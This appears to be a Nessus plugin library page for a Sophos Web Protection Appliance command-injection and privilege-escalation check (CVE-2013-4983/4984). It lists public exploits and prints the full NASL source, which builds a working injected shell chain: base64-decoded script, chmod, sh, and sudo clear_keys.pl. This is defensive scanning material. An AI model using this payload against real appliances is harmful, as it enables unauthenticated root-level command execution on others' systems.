Sophos Web Protection Appliance Multiple Vulnerabilities - Nessus

Critical   Plugin ID: 70142

This page contains detailed information about the Sophos Web Protection Appliance Multiple Vulnerabilities Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 70142
Name: Sophos Web Protection Appliance Multiple Vulnerabilities
Filename: sophos_web_protection_command_injection.nasl
Vulnerability Published: 2013-09-06
This Plugin Published: 2013-09-26
Last Modification Time: 2021-01-19
Plugin Version: 1.13
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: sophos_web_protection_detect.nasl
Required KB Items [?]: installed_sw/sophos_web_protection

Vulnerability Information


Severity: Critical
Vulnerability Published: 2013-09-06
Patch Published: 2013-09-06
CVE [?]: CVE-2013-4983, CVE-2013-4984
CPE [?]: cpe:/a:sophos:web_appliance, x-cpe:/a:sophos:sophos_web_protection

Synopsis

The remote host is running a web application that is affected by multiple vulnerabilities.

Description

The Sophos Web Protection application running on the remote host is affected by multiple vulnerabilities :

- A remote command execution vulnerability exists in the /opt/ws/bin/sblistpack Perl script due to improper sanitization of user-supplied input when the 'action' parameter is set to 'continue' and the 'args_reason' parameter is set to anything other than 'filetypewarn'. An unauthenticated, remote attacker can exploit this by sending a specially crafted request to the /end-user/index.php script, resulting in the execution of arbitrary commands subject to the privileges of the 'spiderman' user id. (CVE-2013-4983)

- A privilege escalation vulnerability exists in the close_connections() function in the clear_keys.pl script due to a failure to properly escape second arguments. A local attacker can exploit this to escalate privileges. (CVE-2013-4984)

Note that the application is reportedly affected by a cross-site scripting vulnerability; however, this plugin has not tested for it.

Solution

Upgrade to Sophos Web Protection Appliance version 3.7.9.1 / 3.8.1.1 or later.

Public Exploits


Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Immunity Canvas, Core Impact, D2 Elliot)
Exploit Ease: No exploit is required

Here's the list of publicly known exploits and PoCs for verifying the Sophos Web Protection Appliance Multiple Vulnerabilities vulnerability:

  1. Metasploit: exploit/linux/local/sophos_wpa_clear_keys
    [Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation]
  2. Metasploit: exploit/linux/http/sophos_wpa_sblistpack_exec
    [Sophos Web Protection Appliance sblistpack Arbitrary Command Execution]
  3. Exploit-DB: exploits/linux/local/28332.rb
    [EDB-28332: Sophos Web Protection Appliance - clear_keys.pl Privilege Escalation (Metasploit)]
  4. Exploit-DB: exploits/linux/remote/28334.rb
    [EDB-28334: Sophos Web Protection Appliance - 'sblistpack' Arbitrary Command Execution (Metasploit)]
  5. Exploit-DB: exploits/linux/webapps/28175.txt
    [EDB-28175: Sophos Web Protection Appliance - Multiple Vulnerabilities]
  6. D2 Elliot: sophos_web_protection_appliance_3.8.1_rce.html
    [Sophos Web Protection Appliance 3.8.1 RCE]
  7. Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:F/RL:O/RC:C
CVSS Base Score:10.0 (Critical)
Impact Subscore:6.0
Exploitability Subscore:3.9
CVSS Temporal Score:9.3 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.3 (Critical)

Go back to menu.

Plugin Source


This is the sophos_web_protection_command_injection.nasl nessus plugin source code. This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(70142);
  script_version("1.13");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-4983", "CVE-2013-4984");
  script_bugtraq_id(62263, 62265);
  script_xref(name:"EDB-ID", value:"28175");
  script_xref(name:"EDB-ID", value:"28332");
  script_xref(name:"EDB-ID", value:"28334");

  script_name(english:"Sophos Web Protection Appliance Multiple Vulnerabilities");
  script_summary(english:"Attempts to execute an OS command.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is running a web application that is affected by
multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The Sophos Web Protection application running on the remote host is
affected by multiple vulnerabilities :

  - A remote command execution vulnerability exists in the
    /opt/ws/bin/sblistpack Perl script due to improper
    sanitization of user-supplied input when the 'action'
    parameter is set to 'continue' and the 'args_reason'
    parameter is set to anything other than 'filetypewarn'.
    An unauthenticated, remote attacker can exploit this by
    sending a specially crafted request to the
    /end-user/index.php script, resulting in the execution
    of arbitrary commands subject to the privileges of the 
    'spiderman' user id. (CVE-2013-4983)

  - A privilege escalation vulnerability exists in the
    close_connections() function in the clear_keys.pl script
    due to a failure to properly escape second arguments. A
    local attacker can exploit this to escalate privileges.
    (CVE-2013-4984)

Note that the application is reportedly affected by a cross-site
scripting vulnerability; however, this plugin has not tested for it.");
  # https://www.secureauth.com/labs/advisories/sophos-web-protection-appliance-multiple-vulnerabilities
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e2867f81");
  # https://web.archive.org/web/20150425170751/https://www.sophos.com/en-us/support/knowledgebase/119773.aspx
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?6d3b1f2b");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Sophos Web Protection Appliance version 3.7.9.1 / 3.8.1.1
or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Sophos Web Protection Appliance 3.8.1 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Sophos Web Protection Appliance clear_keys.pl Local Privilege Escalation');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');

  script_set_attribute(attribute:"vuln_publication_date", value:"2013/09/06");
  script_set_attribute(attribute:"patch_publication_date", value:"2013/09/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/09/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:sophos:web_appliance");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:sophos:sophos_web_protection");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("sophos_web_protection_detect.nasl");
  script_require_keys("installed_sw/sophos_web_protection");
  script_require_ports("Services/www", 443);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

get_install_count(app_name:'sophos_web_protection', exit_if_zero:TRUE);
port = get_http_port(default:443);
install = get_single_install(app_name:'sophos_web_protection', port:port);

dir = install['dir'];
install_url = build_url(qs:dir, port:port);

cmd = "id";
cmd_pat = "uid=[0-9]+.*gid=[0-9]+.*";

# nb: Domain and user can be any arbitrary values in this attack
domain = "localhost";
user = "nessus";
time = unixtime();
script = SCRIPT_NAME - ".nasl" + '-' + time;
path = "/opt/ui/apache/htdocs/backup/";

attack = 'sudo /opt/cma/bin/clear_keys.pl ' +time+ ' ";`echo ' +cmd+ '` > ' +
  path+script+'.txt;" /' +time;

postdata =
  "url=" +base64(str:domain)+ "&args_reason=any&filetype=dummy&user="
  +user+ "&user_encoded=" +base64(str:user)+ "&domain=" +domain+ ';echo ' +
  base64(str:attack)+ '|base64 --decode > ' +path+script+
  '.sh;chmod u+rwx ' +path+script+ '.sh;sh ' +path+script+ '.sh;rm '
  +path+script+ '.sh&raw_category_id=one|two|three|four';

postdata = urlencode(
  str        : postdata,
  unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                 "56789=+&_.-"
);

res = http_send_recv3(
  method : "POST",
  port   : port,
  item   : dir + "/end-user/index.php?c=blocked&action=continue",
  data   : postdata,
  add_headers : make_array("Content-Type", "application/x-www-form-urlencoded"),  
  exit_on_fail: TRUE
);

attack_req = http_last_sent_request();

# nb: The file we created above will end up in /backup
upload_url = "backup/" +script+ ".txt";
res2 = http_send_recv3(
  method : "GET",
  port   : port,
  item   : dir + "/" + upload_url,
  exit_on_fail : TRUE
);

if (egrep(pattern:cmd_pat, string:res2[2]))
{
  if (report_verbosity > 0)
  {
    report =
      '\nNessus was able to execute the command "' +cmd+ '" on the remote' +
      ' host' + '\nusing the following request :' +
      '\n' +
      '\n' +attack_req+
      '\n' +
      '\nNessus verified this by requesting the following URL and examining' +
      '\nthe output :' +
      '\n\n  ' + install_url + upload_url +
      '\n' +
      '\n(Note that the file at :\n' +path+script+ '.txt' +
      '\nhas not been removed and will need to be manually deleted.)' +
      '\n';

    if (report_verbosity > 1)
    {
      snip = crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report +=
        '\nThis produced the following output :' +
        '\n' +
        '\n' + snip +
        '\n' + data_protection::sanitize_uid(output:chomp(res2[2])) +
        '\n' + snip +
        '\n';
    }
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "Sophos Web Protection", install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/sophos_web_protection_command_injection.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\sophos_web_protection_command_injection.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/sophos_web_protection_command_injection.nasl

Go back to menu.

How to Run


Here is how to run the Sophos Web Protection Appliance Multiple Vulnerabilities as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select Sophos Web Protection Appliance Multiple Vulnerabilities plugin ID 70142.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl sophos_web_protection_command_injection.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a sophos_web_protection_command_injection.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - sophos_web_protection_command_injection.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state sophos_web_protection_command_injection.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
  • 100846 - Sophos Web Appliance < 4.3.1 Multiple Remote Command Injection Vulnerabilities
  • 65874 - Sophos Web Protection Appliance patience.cgi 'id' Parameter Directory Traversal
  • 99237 - Sophos Web Appliance < 4.3.1.2 Multiple Vulnerabilities
  • 66024 - Sophos Web Protection Appliance end-user-/errdoc.php 'msg' Parameter XSS
  • 159541 - Sophos XG Firewall <= 18.5.3 RCE

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file sophos_web_protection_command_injection.nasl version 1.13. For more plugins, visit the Nessus Plugin Library.

Go back to menu.